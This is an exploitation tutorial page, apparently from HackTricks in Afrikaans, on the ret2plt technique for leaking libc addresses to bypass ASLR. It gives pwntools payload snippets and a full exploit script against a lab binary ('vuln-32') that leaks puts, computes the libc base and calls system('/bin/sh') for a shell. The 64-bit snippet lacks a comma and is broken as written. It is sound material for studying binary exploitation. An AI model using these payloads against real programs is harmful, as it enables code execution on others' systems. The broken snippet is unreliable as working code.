Ret2plt

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Die doel van hierdie tegniek sou wees om 'n adres van 'n funksie van die PLT te lek om ASLR te kan omseil. Dit is omdat as jy byvoorbeeld die adres van die funksie puts van die libc lek, kan jy dan bereken waar die basis van libc is en afsette bereken om ander funksies soos system te kan benader.

Dit kan gedoen word met 'n pwntools lading soos (van hier):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Merk op hoe puts (met die adres van die PLT) geroep word met die adres van puts wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts die GOT-inskrywing van puts druk, sal hierdie inskrywing die presiese adres van puts in die geheue bevat.

Merk ook op hoe die adres van main in die aanval gebruik word sodat wanneer puts sy uitvoering beëindig, die binêre main weer roep in plaas van om af te sluit (sodat die uitgelekte adres geldig bly).

Merk op hoe om hierdie te laat werk, die binêre nie met PIE saamgestel kan word nie of jy moet 'n lek gevind het om PIE te omseil om die adres van die PLT, GOT en main te weet. Anders moet jy eers PIE omseil.

Jy kan 'n volledige voorbeeld van hierdie omseiling hier vind. Dit was die finale aanval van daardie voorbeeld:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Ander voorbeelde & Verwysings

Last updated